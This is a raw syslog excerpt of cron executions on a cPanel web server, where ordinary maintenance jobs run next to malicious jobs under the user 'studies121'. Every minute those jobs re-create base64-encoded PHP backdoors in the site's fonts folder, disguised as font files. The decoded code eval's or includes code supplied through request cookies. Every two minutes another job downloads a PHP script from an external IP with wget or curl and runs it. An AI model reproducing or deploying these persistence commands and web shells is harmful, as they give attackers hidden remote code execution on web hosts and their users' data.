Sep  7 22:21:01 ip-184-168-122-23 CROND[29444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:21:01 ip-184-168-122-23 CROND[29445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:21:01 ip-184-168-122-23 CROND[29446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:22:01 ip-184-168-122-23 CROND[29528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:22:01 ip-184-168-122-23 CROND[29530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:22:01 ip-184-168-122-23 CROND[29532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:22:01 ip-184-168-122-23 CROND[29531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:22:01 ip-184-168-122-23 CROND[29533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:23:01 ip-184-168-122-23 CROND[29619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:23:01 ip-184-168-122-23 CROND[29620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:23:01 ip-184-168-122-23 CROND[29623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:23:01 ip-184-168-122-23 CROND[29622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:24:01 ip-184-168-122-23 CROND[29702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:24:01 ip-184-168-122-23 CROND[29703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:24:01 ip-184-168-122-23 CROND[29704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:24:01 ip-184-168-122-23 CROND[29705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:24:01 ip-184-168-122-23 CROND[29706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:25:01 ip-184-168-122-23 CROND[29793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:25:01 ip-184-168-122-23 CROND[29796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:25:01 ip-184-168-122-23 CROND[29794]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 22:25:01 ip-184-168-122-23 CROND[29795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:25:01 ip-184-168-122-23 CROND[29798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:25:01 ip-184-168-122-23 CROND[29797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:25:01 ip-184-168-122-23 CROND[29801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:26:02 ip-184-168-122-23 CROND[29886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:26:02 ip-184-168-122-23 CROND[29891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:26:02 ip-184-168-122-23 CROND[29888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:26:02 ip-184-168-122-23 CROND[29889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:26:02 ip-184-168-122-23 CROND[29890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:27:01 ip-184-168-122-23 CROND[29980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:27:01 ip-184-168-122-23 CROND[29979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:27:01 ip-184-168-122-23 CROND[29981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:27:01 ip-184-168-122-23 CROND[29982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:28:01 ip-184-168-122-23 CROND[30144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:28:01 ip-184-168-122-23 CROND[30147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:28:01 ip-184-168-122-23 CROND[30145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:28:01 ip-184-168-122-23 CROND[30148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:28:01 ip-184-168-122-23 CROND[30149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:29:01 ip-184-168-122-23 CROND[30231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:29:01 ip-184-168-122-23 CROND[30233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:29:01 ip-184-168-122-23 CROND[30232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:29:01 ip-184-168-122-23 CROND[30234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:30:01 ip-184-168-122-23 CROND[30434]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:30:01 ip-184-168-122-23 CROND[30435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:30:01 ip-184-168-122-23 CROND[30436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:30:01 ip-184-168-122-23 CROND[30433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:30:01 ip-184-168-122-23 CROND[30432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:30:01 ip-184-168-122-23 CROND[30437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:30:01 ip-184-168-122-23 CROND[30431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:30:01 ip-184-168-122-23 CROND[30439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:31:01 ip-184-168-122-23 CROND[30800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:31:01 ip-184-168-122-23 CROND[30802]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 22:31:01 ip-184-168-122-23 CROND[30803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:31:01 ip-184-168-122-23 CROND[30804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:31:01 ip-184-168-122-23 CROND[30805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:32:01 ip-184-168-122-23 CROND[30919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:32:01 ip-184-168-122-23 CROND[30922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:32:01 ip-184-168-122-23 CROND[30923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:32:01 ip-184-168-122-23 CROND[30921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:32:01 ip-184-168-122-23 CROND[30924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:33:01 ip-184-168-122-23 CROND[31012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:33:01 ip-184-168-122-23 CROND[31013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
